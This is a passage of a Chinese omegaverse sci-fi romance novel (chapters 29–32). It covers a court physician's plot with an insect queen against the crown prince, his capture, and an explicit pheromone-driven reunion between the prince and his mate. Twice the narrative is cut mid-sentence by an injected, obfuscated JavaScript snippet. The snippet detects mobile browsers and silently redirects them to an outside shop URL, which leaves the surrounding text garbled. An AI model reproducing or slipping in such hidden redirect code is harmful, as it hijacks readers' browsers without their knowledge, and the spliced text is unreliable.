29 章 怎么可能? 这不可能! 穆沉凛的信息素暴乱几乎是自他上任后耗费了所有心力,熬了无数个日夜,才完成的最伟大项目。 当他把研究结果报告给虫母后,那边也没让他失望,送来了唯一一个凝聚着无数雄虫信息素的活体。 是的,虫族和帝国人一样,也拥有信息素。 只不过,也许是因为它们超乎寻常几近无限的繁衍速度,导致种群数量过于庞大,所以每只雄虫身上的腺体不过是一个毫不起眼也毫无作用的器官,同时信息素的能量更是微乎其微,接近于无。 但是,就是这微乎其微、看起来没什么作用的信息素,竟意外成为唯一能够扼制穆沉凛的工具。 然而,每只虫子体内的信息素实在太过稀少,穆沉凛的信息素浓度又远高于常人,为了诱导他信息素暴乱,虫族也必须提取至少浓度相当的信息素,否则将毫无成效。 最开始,他并没有期待虫母会同意,毕竟这意味着虫巢内部数以万计的雄虫需要被牺牲,从而将提炼出的微弱信息素汇聚在一起。 有趣的是,虫母似乎比他想象中还要更加厌恶穆沉凛,因此很快就向他传达了肯定的答复。 那段时间虫族的攻击次数明显降低,每一波来袭的雄虫数量也大大减少。 不知情的士兵和众人还以为消灭虫族指日可待,在星舰内无数次的欢呼雀跃,而把自己锁在实验室的贺书愉一次次婉拒了同胞的邀请,只是冷眼旁观着他们愚蠢的庆祝。 等穆沉凛因为信息素失控而亡时,不知道那个时候,这群人还能不能笑得出来。 当穆沉凛第一次在战场上信息素失控爆发后,得到紧急通知的贺书愉只是懒懒勾起嘴角,在元宿等人的催促声中,装模作样地把人抬到隔离病房,随即便率领小组没日没夜地展开研究。 当然在他的刻意引导下,医学小组的所有方案均纷纷失效,而那位无法正常压制信息素、也得不到纾解的太子殿下很快就会因此爆体而亡。 他的成功指日可待。 几乎是坐等穆沉凛死亡的男人悠悠然地站在监控室中,时刻期盼着帝国这位最顶级Alpha死亡的到来。 他非常荣幸也乐意至极,能够亲眼目睹他的死亡。 毕竟,这是他为穆沉凛精心策划的死法。 可恨的是,计划赶不上变化。 那个让他意想不到的唯一变量还是出现了。 自从穆沉凛结婚的消息被皇室放出后,桑宁叙的所有信息都立即被严格保密。 即使他在皇宫内部安插了人手,但女孩久居宫外,定下婚约后又被帝后的侍从时刻监控,导致他也迟迟搜集不到这位太子妃的身体数据。 据说殿下曾给身边人暗示过,太子妃才刚刚成年,腺体发育迟缓,导致其信息素味道浅淡,因此才能勉强不受他的干扰。至于匹配度的检测数据,就暂时先不公布,等到过几年太子妃完全发育后再重新测试。 况且听殿下的意思,结婚不过只是为了顺帝后之意堵上悠悠众口,也好断了其他久居高位且心怀不轨之人总想给殿下身边塞人的念头。等之后殿下登基,问过太子妃的意思再决定她的去留。 于是,得到消息的贺书愉也只好将信将疑地暂时放下心来,继续加紧实验。 当时他的研究已经步入尾声,只要虫族愿意配合,不出半年穆沉凛就会因信息素失控身亡,至于他那位发育迟缓的Omega,自然也忙不上什么大忙。 光是信息素味道清淡这一项,就几乎已经注定这个Omega的失败未来。 信息素这样微弱,又如何能安抚一个像穆沉凛这样顶级的Alpha呢。 所以当暴乱发生后,实在想不出其他办法的医生们也只能死马当作活马医,准备尝试使用最原始的方法,请求殿下的太子妃释放信息素为他疏导安抚。 即使贺书愉并不希望这位顶着太子妃名号的女孩出现,但作为殿下的主治医生,他也无法在众目睽睽下拒绝这项提议。 那样就太明显了,毕竟这是所有人最后的希望。 他本以为,这个女孩的出现不会改变任何结果,可惜他失算了。 穆沉凛竟然真的在她的帮助下一点点好转起来,更令人不可思议的是,这两个看起来就不在同一世界的人,居然是彼此的命定之番。 当他拿着手中那份匹配度检测报告时就立刻确定,这个女孩绝对不可再留,同时另一个巧妙的想法,也在他得知这一事实后逐渐在脑中成型。 于是当穆沉凛清醒后,他便借口检查身体顺利支开了男人,然后在桑宁叙沉睡中给她注射了带有安眠成分的药物,并将房间落了锁。 彼时的虫母已经得知这个危险分子的存在,恰巧为安抚穆沉凛他们二人的信息素又有过短暂结合,因此刻有虫族生物编码的信息正犹如病毒一般潜伏在她的体内,趁着女孩陷入睡眠,接收到虫母精神信号呼唤的病毒将会自动激活,悄无声息地融入她的意识并形成链接。 他们最初的计划是,利用桑宁叙让虫母复刻出其信息素,再对她植入精神污染,最后任由她在星舰上自我毁灭。 而失去命定之番的穆沉凛也会在战场上被模拟信息素诱导致发情,强制进入极端易感期后失控暴走,结果就是,得不到Omega及时安抚的Alpha被迫自爆而亡。 但谁也没想到,桑宁叙的信息素竟然复杂到无法被虫母有效复刻,更诡异的是,这个看起来平平无奇的Omega甚至还拥有对虫族精神污染免疫的能力。 那天在吸收完穆沉凛的信息素后,沉睡中女孩的信息素则像拥有某种自动净化能力一般,眼看她与虫族的意识链接即将被迫断开,虫母也只得失败而归。 贺书愉实在是搞不明白为什么。 这个Omega的身体数据现在正牢牢掌握在他手中,看着资料上毫无异常的数据,他翻来覆去几乎要把屏幕盯出个窟窿,却也依然毫无头绪,找不出原因。 到底为什么? 可惜当时已经没有更多的时间留给他们,如果继续放任桑宁叙待在穆沉凛身边,他的信息素暴乱迟早会被治愈,他们的计划也将随之失败。 所以,首要任务是在继续诱发穆沉凛信息素暴乱的同时,不动声色地解决掉桑宁叙。 既然虫族无法动手,那么就由他来制定计划,把人从穆沉凛身边弄走。 恰好那时他偶然听闻桑宁叙无法被标记的消息,又刚好在第一次暴乱时留下了从穆沉凛腺体中提取出的带有虫族信息素的病毒,在提纯过后,便将它包装为特质稳定剂。当虫族再次通知他新一批的信息素携带体已经完成时,男人才把东西交给桑宁叙,安排她在标记过后为殿下注射。 只要病毒再次被注入体内,等穆沉凛之后又“意外”犯病,他就可以借此机会把一切过错都推到桑宁叙身上。 但奇怪的是,最后一次暴乱发作的穆沉凛却没有标记他的太子妃,没办法的贺书愉也只好一边等待一边绞尽脑汁地想着其他办法。 然而上天还是站在他这边的。 在命定之番的诱惑下,没过多久的太子殿下终于忍不住咬了她,随后便被注射了那管特制稳定剂。 之后早已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几乎是一瞬间,所有人的脑海都变得异常清明起来,终于找到主心骨的战士们也一个一个打起了精神,热泪盈眶中炯炯有神的双眼使劲盯着太子殿下,一个个忍住鼻酸大力点头。 交代完毕,穆沉凛和元宿交换了视线,随后便带着奄奄一息的贺书愉朝内部走去。 星舰早已堆满了数量骇人的尸体,有虫有人,地面墙面无处不是惨烈的血迹,血腥味与虫体破裂后的恶臭交织在一起,形成了一股更加难以言喻的恶心味道。 贺书愉一边干呕一边踉踉跄跄地往前走着,穆沉凛却依然面色不变,他不再释放信息素,而是用枪顶着男人的后腰,押着他向那间密室走去。 看着贺书愉凄凄惨惨磨磨唧唧始终抬不起手的模样,不耐烦的太子殿下干脆利索地解锁密码后便一脚把人踹了进去。 躺在地上眼冒金星的贺书愉缓了好一会儿却依然直不起身子。 “通知它。”穆沉凛举着枪对他冷冷道。 “呵……” 终于找到支点趴在虫尸身下高台上的贺书愉满脸都是在地上蹭到的各种血迹,他背靠台阶急促喘了一会儿,才梗着脖子不肯放弃地继续对穆沉凛嘲讽:“我可以联络它,但你最好想清楚,一旦它亲自出动,你以为就凭你……” “不劳你费心。” 穆沉凛收着力一脚踏在男人的胸口上并狠狠拧了几下,在他恶毒仇恨的视线中毫无表情地暂且退到一边:“开始吧,别浪费时间。” 该死的穆沉凛,上次是你命大,等会儿虫母来了,看你还如何嚣张。 背过身去的贺书愉深吸一口气,他摸了摸靠近心脏处贴身藏着的那个硬物,舔了舔干涩的嘴唇后,缓缓露出一抹阴邪的笑。 穆沉凛,谁输谁赢,还不一定呢…… 30. 第 30 章 虫族最初被帝国发现时,作为首席军医长的贺承科也是继帝后之余第一批得知消息的重要人员。 自那以后,作为帝国资历最丰富的研究员之首,他便率领团队奉帝后之命开始密切研究起这类奇异的外星生物。 只不过,这位醉心痴迷于虫族的老者在陛下一次次的妥协与让步中愈发猖狂,甚至剑走偏锋,最后疯癫到企图说服帝国圈养虫族。 至于那具被他们活捉的雄虫,也早在贺承科疯狂的实验和解剖中渐渐失去了生命体质。 然而,明显已经精神不正常的贺承科却依然没日没夜地埋首在研究中,任谁也无法劝阻。 最后,当陛下终于意识到这个完全疯魔的老人做了什么后,才彻底冷心决定剥夺其家族的一切头衔与荣耀,凡是与贺承科有染人员,不论地位家族一律处死,只剩他唯一已有婚约且的女儿,受陛下怜惜留下一条性命,却也因受到牵连被夫家退了婚。 但是谁也没料到,那时的贺敏就已经怀上了贺书愉。 至于贺书愉的亲身父亲,虽然与贺敏从小青梅竹马情投意合,却在得知贺家出事后立刻翻脸,不仅不承认他与贺敏的婚约,甚至干脆利索地与她划清界限。 等贺敏坚持生下贺书愉后,男人的父亲终究还是不忍这个自己亲眼看着长大的姑娘和亲孙子流落在外无依无靠,便妥善安置了母子俩。 当贺书愉的生父与新人结婚并顺利诞下一子后,彻底绝望的贺敏便头也不回的带着他离开了帝都中心。 关于贺承科留在家中的那些资料,也不过是在有心之人的提点下储存的备份。 但他行动太晚,在所有数据和资料全部被转移之前,帝后就已经命人将他关在了暗无天日的牢狱中。 贺书愉没想到外公已经发现了如何进入虫族灵能网络并与虫母沟通的方法,然而,在即将开始人体实验前夕,一切都被迫暂停。 同时,贺书愉在阅读资料中也终于发现,原来母亲的病并不是找不出病原,而是外公历尽千辛万苦从虫脑中提取出一种极为特殊的神经毒素,由于前期不敢大张旗鼓的进行实验,于是外公便在皇宫内挑选了一位Alpha和一位Omega,在他们的腺体中注入了毒素。 而他手中所掌握的,便是试验后母亲的身体数据记录。 也是导致他腺体无法正常发育的真正原因。 都说虎毒不食子,但早已被研究和虫族蒙蔽双眼、神志不清的贺承科才管不了那么多,为了最后的成果,老人在哄骗下为自己的亲女儿注入毒素。 也许因为贺敏只是个过于普通的Omega,令贺承科失望的是,她的身体不仅没有出现剧烈的排斥现象,甚至依然和正常人无异,毫无特殊反应。 最后,他只好遗憾放弃对女儿的密切观测,将所有重心放在那位Alpha身上。 可惜的是,那位关于神秘男性Alpha的所有内容都没有来得及被转出,因此贺书愉也无从得知他的身份以及最终的实验结果。 也许他和贺敏一样继续正常地生活在帝国里,又或许他已经不幸死亡。 贺书愉原本计划在入宫后就立即着手打探关于外公过去实验的具体情况,说不定还能找到几个幸存者的后代,又或许,有人还秘密保留着些许研究资料。 但比起这个,上天似乎跟他开了一个更大的玩笑。 当他和穆沉凛第一次进入那间密室时,尽管身体无法抗拒对虫族的排斥与厌恶,但在临走之时,也许是因为太过兴奋激动,情绪起伏过大,有那么两秒钟的时间,他忽然感觉眼前一片漆黑,好似身处于深不见底的巨大黏腻洞穴之中,耳边隐隐传来奇异的摩擦与非人的低语呢喃。 虽然只有短暂一瞬,但他依然觉得自己仿佛看见了无数密密麻麻又恶心的成虫从一个软烂粘稠又隐隐泛红、不断膨胀的洞里飞速爬出,朝自己的方向蜂拥而来。 在他满是冷汗即将惊叫出声、跌倒在地时,穆沉凛一把扶住了他的身体。 回过神来的贺书愉在太子殿下无声的询问中快速摇了摇头,借口身体不适后就跟着他匆忙离开了那里。 后来随着他对虫族的研究一天天深入,在外公遗留资料的帮助下,本就继承贺承科优秀头脑与基因的贺书愉也在没日没夜的实验中很快意识到自己这与生俱来的独特能力。 贺敏母体的携带病毒虽然导致他腺体发育不全、信息素含量极弱,但他却因为遗传自发产生出极为罕见的、具有虫族独特灵能的潜质,在他的信息素极为活跃之时,所传导出的能量与频率竟然能与虫族灵能波段吻合,从而被虫母无时无刻所发出的信号探测成功抓取并连通。 遗憾的是,他做了很多次实验,能让信息素被动调频并活跃起来的唯一方法必须是进入那间存放虫族尸体的密室,大概是因为那具死亡的虫体周围依然残存着某种极为特殊的能量场,才能使他的信息素被迅速激发。 随着他慢慢尝试与虫族沟通联络后,他对帝国王室的仇恨也在一天天加深。 外公的研究方向并没有错,若是能将虫族为帝国人所用,那么很快,帝国将成为星际间最强存在,能够不断扩张版图探索整个宇宙,而非像现在这样,这么多年来毫无进步,死板地守着帝星和周边几个无聊的星系,止步不前。 穆家,没有一丝一毫的进取心。 外公唯一的错误不过是在帝后迟迟不肯妥协时,自顾自地抢先一步开始人体实验,还被意外发现。 在他看来,如果他是外公,当研究取得重大进展时,也会如此迫不及待地枉顾上层决策,偷偷开展实验。 只不过,他一定会藏匿的更加隐秘,布置的更加周全,在成功之前绝不让任何人发现丝毫痕迹。 但是没关系,现在他会充分吸取外公失败的教训,在彻底得到想要的结果之前,绝对秘密地开始属于他的计划。 胸腔内传来一阵又一阵钝痛,贺书愉的身体素质本就一般,这些年又长年累月待在研究室,大门不出二门不迈,日夜颠倒地生活着,尽管穆沉凛没有对他用尽全力狠揍,光是挨得那几下就足以让他痛不欲生了。 贺书愉勉强坐在地上尝试着呼唤虫母,可这次,他的联络却迟迟没有得到回应。 “有时候,我也没法联络到它。”第三次失败后,贺书愉不甘心地转过头对着周身冷凝的穆沉凛咬牙切齿道。 他并没有故意阻止虫母的到来,相反比起穆沉凛,他才是那个迫不及待看见虫母出现的人。 毕竟,现在他的面前只有死路一条,而虫母的到来才能让他看见生的希望。 “它知道我没死吗?”穆沉凛只是短暂思考了一瞬,很快男人的眸中就划过一丝了然。 看着男人居高临下的傲慢姿态,贺书愉在听见他的问题后面部控制不住地扭曲起来,慢慢攥起的双拳上青色的血管暴凸,连指节都隐隐泛白。 废话,他怎么可能告诉虫母穆沉凛没死。 万一它知道后即刻撤兵不顾他的死活,到时候,落在穆沉凛和帝后手中的他就真的只有死路一条。 他才不愿当弃子。 他瞒着虫母穆沉凛没死的消息,只期待它能率领所有虫族应约到来,然后…… 他就不信,在恶战了这么久之后,就算有穆沉凛在,帝国也能破除虫族的包围,成功守护帝星。 他在赌,即使只有一半的可能又如何,就算现在只有0.0001%的可能,他也要毫不犹豫地将它召唤过来,为自己一战。 他不能死,他决不能像外公一样死去。 他的目标,他的研究,他称霸宇宙的愿望都还没实现,他绝不愿就这样死去! 绝不! “看来,你被放弃了。” “不,不可能!它不知道你还活着,它一定会来的!” 穆沉凛目光复杂地凝视了一会儿男人语无伦次的疯癫模样后,他不再废话,长腿一迈转身离去。 “穆沉凛,你不能走!我有办法让它过来……” 贺书愉死死盯着男人的背影,不肯相信地继续尝试了一遍又一遍。 它不会放弃他的,他们明明做好了交易,它怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936632|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会如此轻易放弃帝国这片肥肉。 过度的链接让本就虚弱的贺书愉此时更加脆弱,男人身软无骨地半瘫在地上甚至说不出完整的语句,他的四肢时不时可怜地抽搐一下,脑海渐渐开始神志不清,并被无数可怖又无序的低语覆盖,全身的皮肤也缓慢爬上明显不正常的潮红。 他是谁,他在哪,他要做什么来着? “……释放……” 谁在说话? “……去找……他。” 找谁? 轻而易举地再次消灭一波又一波不断进犯的雄虫后,穆沉凛站在血迹斑斑地星舰指挥舱中,皱着眉头眺望着依然在星际间奋力厮杀的战士们,手指一下又一下缓慢敲击着控制面板。 虫母比他想象中还要谨慎,以及这么久以来,贺书愉居然还是没有完全获得它的信任。 啧,要不是贺书愉过早地把手伸向桑宁叙,他也不会这么着急的提前开展计划。 一直掌握在他手中的贺书愉翻不起什么大浪,毕竟如果不是他的默许,他又如何能这样顺利地走到今天这一步。 虫族信息素的确是对他起到了一定程度的影响,但对于本身体内就拥有其基因编码的穆沉凛来说,那些东西顶多也就是让他稍微不舒服几天,只不过,他倒是没想到,成年后一直迟迟没有到来的易感期居然被过高浓度虫族信息素意外诱导爆发,这才导致他在战场上失控。 因为从小信息素的异变,他的易感期也与常人不同,再加上普通信息素阻隔贴对他并不起效果,因此从发育期就被迫过量摄入抑制剂的他也理所当然地患上信息素失调症。 易感期的推迟对他而言并不是坏事,信息素失调只要不影响他在战场上杀敌,穆沉凛并不在意一辈子都找不到合适的Omega。 像头被沦陷在欲望中可悲的种马那样贪婪□□的日子,对他而言毫无兴趣。 在找到虫母消灭虫族之前,他并没有组建家庭的打算。只要虫族一日不灭,帝星将永远处在危险之中,就算有再多的后代,等失去他的庇护,帝星也终有失守的那天。 虽然他这么想,但帝后还是不愿他们唯一的孩子以后孤苦伶仃,无人陪伴。再加上宫内也确实一直找不到能适应其信息素的Omega,因此夫妻二人才不得不将手伸到了宫外。 本以为,至少还要花费三五年才能勉强找到一个能接受穆沉凛信息素的人,却没想到,桑宁叙就这样意外地出现在众人眼前。 既然是穆沉凛亲自选定,且女孩对他的信息素也不敏感,身份家世更是干净简单,终于等到太子妥协的帝后二人便也不再纠结,立刻拍板先把人名正言顺地放在位置上。至于以后,只要后位有人,等穆沉凛顺利登基掌权,那些只知道废话的贵族臣子们也能安分一些,至少无需他再分神挑选王后,或者受制于人而被迫迎娶哪家的贵族姑娘。 至于命定之番,帝后更是从未想过。 帝国的命定之番本就只存在于历史和传说中,更别提自家儿子这能熏死人的味道,但凡有人能勉强接受,他们就已经足够感天谢地了。 久久推迟的易感期来得凶猛又激烈,虽然知道自己并不会因此死亡,但穆沉凛也意识到在结束之前,他的日子一定不会好过。 意想不到的是,桑宁叙的到来竟然轻而易举地为他解决了一切难题。 在一次次的信息素融合与标记中,他能感受到体内属于虫族的那股力量在渐渐衰退,与此同时,他信息素纯度也在慢慢变高,而对虫族的攻击能力也越来越强。 只唯一一点,他没有办法标记她。 无论是临时标记也好,还是永久标记也罢,她的信息素总能轻易地净化溶解他的信息素,然后再次沉寂。 穆沉凛把这一切归咎于自己。 毕竟是他的信息素易于常人,而体内虫族的基因在某种程度上可能限制了他的标记能力,这才导致桑宁叙无法被他成功标记。 但是没关系,反正他们的匹配度是百分之百,作为命定之番的彼此,他非常有信心,她绝对不会离开自己。 31. 第 31 章 “殿下,孟赫队长发来消息……” 回忆被打断,穆沉凛看着站在门口气喘吁吁的元宿对人点了点头,示意他进来说。 “孟队长按照要求,已经派遣了一只精锐小队沿着虫族出现的方向继续向内探寻,其余人依然停留在原地等待指示。根据孟队的报告,小队似乎进入了一片完全未知的领域……” 穆沉凛目光沉沉地看着终端最新获取的定位坐标,他听着元宿在一旁的解释,沉默着没有开口。 “需要他们尝试突进吗?”元副官盯着殿下的侧脸缓缓发问。 “不必。”穆沉凛摇摇头。 “您还在等他吗?”极少表露情绪的元宿微微嫌恶地朝另一个方向看了一眼后,才接着问道。 “战况如何?”穆沉凛并没有回答他,而是将话题转向战场。 “最新一波来袭的虫族已基本歼灭,帝国新派来的星舰和补给已经到位,大家正在休息。” 确认增援达到后,穆沉凛淡淡嗯了一声,随后看着远处的星空轻声说:“它已经知道了。” “还是知道了吗?”元宿拧了拧眉头。 虽然他们知道瞒不了虫母多久,但这也太快了。 “需要把他押送回去吗?” “去吧。”男人望着前方下达命令。 “收到!” 贺书愉失败了,虫巢依然无所踪迹,虫母也迟迟不愿现身。 那东西比他想象的还要聪明狡猾。 啧,麻烦。 “放开我!穆沉凛我能联系到它!” “你不是要找它吗,没有我你还能找谁!” “穆沉凛,只有我才有办法……” 五花大绑的贺书愉被元宿抵着后脑勺一步一步踉踉跄跄地从密室中走了出来,一路上难听地咒骂和恶毒的诅咒让元宿只想赶紧堵住他的嘴。 终于在见到那个熟悉的背影时,贺书愉立即忍不住大吼大叫起来。 “你有什么办法,说来听听。” 太子殿下并不在意他的疯狂与仇恨,他好以整暇地转过身面对着贺书愉,一幅洗耳恭听的认真模样。 “让他放开我。” 贺书愉跪在地上不服地扬起头颅,恶狠狠地盯着他一字一句道:“放开我,我就说。” “殿下……” 元宿正想上前一步把人摁倒,却被穆沉凛阻止了动作:“给他解开。” 得到松绑的贺书愉勉强从地上爬起,待他终于站定,一言不发的男人却像是心脏突然不舒服那样,深深地弯着腰捂着胸口拼命喘气。 元副官盯着眼前这个虚弱男人一惊一乍的行为面色更加不虞起来。 浪费殿下的时间。 他本欲动手把人提溜起来看看他到底在磨蹭什么时,突然之间,刚才还力不从心奄奄一息的男人立刻向前扑去,在被穆沉凛大力踢出去之前,贺书愉提前准备好的左手已经对着男人的正脸喷了几下。 “殿下!” 元宿利索地躲开朝他飞来的身体,快步向穆沉凛冲去。 “别动。” 听见殿下压抑的语气后,元宿立刻停下脚步,站在原地一动也不动。 “带他走,我要去趟MS星系。” 穆沉凛扶着眩晕的头吃力地对元宿命令道:“守好前哨。” “哈哈哈哈哈,穆沉凛,你活该!” “你……啊!” 被元宿在肚子上狠狠暴揍了两拳的贺书愉痛苦地捂着胸口,刚才身体被大力砸到舱体时他就差点疼晕过去,现在被元宿揍完,男人只觉得自己呼吸越来越困难,他张大嘴巴翻着白眼,终于两眼一闭彻底昏迷过去。 MS-8310。 桑宁叙已经腺体不舒服快一周左右了。 自从林深走后,腺体便开始时不时肿胀瘙痒,最初她并没有放在心上,想着多睡几觉后自然而然就会恢复。 可是过了两天,当那股酸痛感渐渐蔓延至全身时,她才意识到情况不对,但腺体过分的肿胀让她单纯以为是前段时间没有按时勤换阻隔贴,所以被捂得过敏了。 然而最近几天,她每天脸色潮红浑身发热,体弱无力到严重的时候连床都下不了,更别提睡着后骨子里总是泛起密密麻麻的痒,她抓也抓不到,挠也挠不尽,每天都和醉酒一样躺在床上忍着难受。 好在林深走得匆忙,倒是给她还剩下几管抑制剂,忍无可忍的桑宁叙只好尝试着给自己注射了一支后,果然迅速见效。 可惜只刚刚恢复了半天,再次汹涌而来的不适感便又将她击倒,只能再次躺回床上。 除了生理上的不适,心理上的焦虑和痛苦也随之而来。虽然理智告诉她男人不会那么轻而易举的死亡,但她似乎对自己的头脑和心情都失去了控制,有时候仅仅只是在新闻上看到他的报道,甚至光是想起他的名字,都会心绞疼痛到仿佛有人血淋淋地剖出了她的心脏。 她总是不断回想起穆沉凛在身边的日子,以及他们亲密时的样子。 桑宁叙知道她自己不对劲,就像以前来大姨妈前夕雌激素失调,情绪不可控制地感到暴躁和烦闷。 只不过她现在更多感受到的,是痛苦和脆弱,以及极其强烈的,让她自己都感到惊讶的占有欲。 她渴望他在身边,她渴望得到他,她渴望占有他,她甚至渴望…… 她还剩最后两支抑制剂。 入睡之前早已疲惫不堪的桑宁叙在心里和自己约定,如果明天睡醒依然未见好转,那么她就必须要联系基地寻求帮助了。 穆沉凛此时正靠在飞船的背椅上紧闭双眼急促喘息。 飞船被他设定了自动导航,再有不到半个小时,他就能赶回MS星系。 带有威慑和标记意味的冰醋酸在飞船内不受控制地大量释放,身体虽没有明显异常,但…… 男人睁开血红的竖瞳,终于忍不住低低粗喘了几下。 因为虫族信息素的诱导,之前他迟来的易感期发作了两次,而这一次…… 当时在星舰内,贺书愉对他喷射了不知从哪弄来桑宁叙的信息素,只需一息,他那被尽力勉强压制的欲望就被轻易勾了出来。 命定之番的吸引,他无法控住,也不能控制。 感受着体内无法压抑一波又一波的情潮,他难耐地闭上眼睛,脑中全是临走之时女孩的睡颜,对她强烈的占有欲也终于到达顶峰,他只恨不得飞船飞得再快一点,好立刻赶回去把人圈在自己的领地中,咬着她的脖子一遍又一遍将人占有。 之前因为间隔过短又被迫诱发 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想抱他,想吻他,想将人压在身下为所欲为,然后在他受不住痛苦低吼时,狠狠地…… 咬他。 咬破他的腺体,像他曾经对她做的那样,把信息素一股又一股地灌入其中,然后不顾阻挠地咬得更深更重。 让他浑身沾满她的味道,让他永远只属于她。 陷入幻想的女孩难耐地舔了舔自己的虎牙,并没有发现那里相较于平时变得尖锐了许多,像是能轻易刺破皮肤的锋利。她用舌头缓慢地摩擦着齿尖,感受口腔中传来的酥麻,不自觉地再次加紧了双腿。 咬透他,让他永远无法逃离,让这个帝国顶级Alpha只能甘愿倾倒在她之下,直至崩溃,然后睁大失神的红瞳,焦躁地祈求她的信息素。 这才对。 当门口传来熟悉的指令,大门被砰得一声砸开后,难受的桑宁叙正在被子中呜咽着,下一秒,她被搂进一个火热的怀抱。 她是睡糊涂了吗,怎么好像看见穆沉凛来了? 然而当熟悉的信息素迎面扑来时,腺体霎那间的满足和舒适让她瞬间清醒。 看着死死钳住她手腕正痴迷亲吻的男人后,桑宁叙迷蒙的双眼短暂清明了一会。 “穆……沉凛?” 听到声音的太子殿下停止动作,血红的双眼满是欲望与爱意,他盯着她干净透彻的浅棕色瞳孔,只觉得小腹升起一股灼热和痒意。 “嗯。” 他像舍不得弄疼她一般轻轻咬了咬她的手腕,低低回应了一声。 靠,真的是他! 顾不上身体的难受,只想赶紧问问他到底发生了什么的女孩正准备开口,却被男人又抢先压了回去。 “你先和我说,唔……” 只会喋喋不休吵得他心烦的红唇被堵上,在她甜美的味道中,穆沉凛不顾她的抗拒加深了这个吻。 欲望来势汹汹。 本想问个清楚的桑宁叙在男人的影响下也逐渐沉浸在欲望的天地之中丧失思考能力,在他怀里甚至连血肉都舒展开来的女孩也彻底没了问询的心思,只顾着摸着他的腺体咬着他的下唇,与男人交换气息的同时纵容着他的一切行为。 一夜激荡,满室缠绵。 32. 第 32 章 在一次次不断的清醒、昏睡,清醒、昏睡后,桑宁叙逐渐失去了时间的概念。 荒星上本就没有日升月落,被禁锢的她更没有机会看表,在时而温柔时而猛烈的摇晃中,她疲惫地睁开眼睛,下意识指尖微微用力。 男人的顿时动作一僵,他顺势低下头看去,只见女孩正眼尾通红气恼地看着他,似乎是在指责他的荒唐。 “不要!” 可惜她的此番行为并没有唤醒太子殿下的良心,桑宁叙甚至来不及呼救,意识瞬间就再度被欲望吞噬,双手紧紧扣在一起无法松开。 当灼热滚烫的冰醋酸再次沿着后颈的腺体一点点渗入后脊和血液中时,桑宁叙第一次意外觉得自己的牙齿也在隐隐发痒。 “……穆沉凛。” 男人虽然听见了她的呼唤,但此刻却暂时顾不上回答,只是温柔地抚摸着女孩的脸颊,贴心替她纾解着疼痛。 终于,当一切好不容易即将结束时,忍着睡意的桑宁叙也立刻用尽全力狠狠踹了他一脚。 “嘶——” 她的那点力气顶多算得上是幼猫挠痒痒,压根伤害不到穆沉凛,甚至在男人眼中,这样撒娇般的可爱行为反倒变成了欲拒还迎。 老天,她可真是自作孽不可活! 静谧的夜。 桑宁叙还在昏睡中,已经穿戴整齐的穆沉凛此时正坐在床边,低头查看着联络器。 距离他离开前哨已经过去了三天。 本以为这次和往常一样只用被信息素简单安抚一下,再注射几针抑制剂,他就能像前几次那样顺利压制发情期。 但没想到,他碰上了同样进入易感期的女孩。 因此,两个倒霉蛋便在信息素的作用下被迫互相诱导进入发情期,随后便一发不可收拾了起来。 床单被套被弄得乱七八糟,结束后的桑宁叙更是生怕他跑了似得,即使睡着后也死死拽着他不肯放手。 没办法,穆沉凛只好把人背起来,紧接着快速换好新的床上用品,才抱着女孩将人小心翼翼地放了进去。 他不能再继续逗留,前哨还一片混乱,没有他的帮助,如果虫族继续大批进犯,恐怕帝国很快就会顶不住。 陷在白色被单中的女孩脸上明显一幅极其疲倦的模样,鼻头因为刚哭完还在泛红,眼尾的泪花也没有擦净,更别提从脖子到肩膀上密密麻麻的痕迹,无一不彰显着刚才发生了什么。 穆沉凛的眼神顿时柔软了许多,他细心帮她掖了掖被角。 “乖宝宝,等我回来接你。” 男人轻柔地声音落在她耳边,他笑着低下头吻了吻她的唇,准备把挂在脖子上的胳膊拉下来。 然而,大概是感应到这人又要一言不发地乱跑,桑宁叙竟然趁着他动作时,突然一个大力把人捞到了床上。 一时不察被女孩得逞的太子殿下被她离谱的行为弄懵了一会儿,趴在被子上迟迟没有动作。 “……别走。”桑宁叙紧闭着双眼在他耳边模糊地呢喃。 还没等回过神来的太子殿下开口,女孩又抢先一步堵住了他的嘴。 好在她只是单纯贴了几下他的唇瓣,随后便立即转回到男人耳边对他轻声说了几个字。 穆沉凛的手缓缓收紧,胳膊上的青筋也像条弯弯曲曲的小蛇一样立刻暴起。 她说:“……不然我就不松手。” 与此同时,湿凉的吻也一个接着一个不断落下。 以前怎么没发现,这姑娘这么会折磨人。 确定她坚决不肯放手后,太子殿下只好缓缓撑起身体,随着他顺从无比的动作,桑宁叙轻易地就碰到了后颈。 Alpha的腺体明显比Omega要大上许多,可能是因为信息素才释放过不久,所以温度并不滚烫。 “靠近一点。”她轻声命令道。 为了方便她的行动,男人只是略微迟疑了一秒,很快就重新调整好姿势,乖顺地听从着她的要求 “真乖。” 像是为了奖励他的乖巧听话,桑宁叙笑着揉了揉他坚硬浓密却扎手的头发。 “相信我,你会喜欢的。” 随着话音落下,穆沉凛后颈的皮肤被缓缓刺破,一阵难以忍受的疼痛顿时以腺体为中心扩散,迅速蔓延至全身。 原来是这样的感觉…… 除了剧痛,从骨子里泛起的酥麻也逐渐引起精神的共鸣与愉悦,它们速度极快地为他抚平身体产生的所有不适。 这是? 温和冰冷却带着强大能力的信息素缓缓涌入全身,被冰湖不容抗拒的力量霸占身体的穆沉凛被迫抬头大口喘气,像是一头濒死的野兽,长大嘴巴瞪大眼睛死死望着头顶的黑暗。 她是怎么? 不等他继续思考,融入血液的信息素便被奔腾着欢迎到来的冰醋酸立刻缠住,两种独特的气味互相融合,穆沉凛忽然觉得体内、脑内有什么东西渐渐被迫显露、迅速被清除、然后彻底被吸收。 是一种从未体验过极其奇妙的感觉。 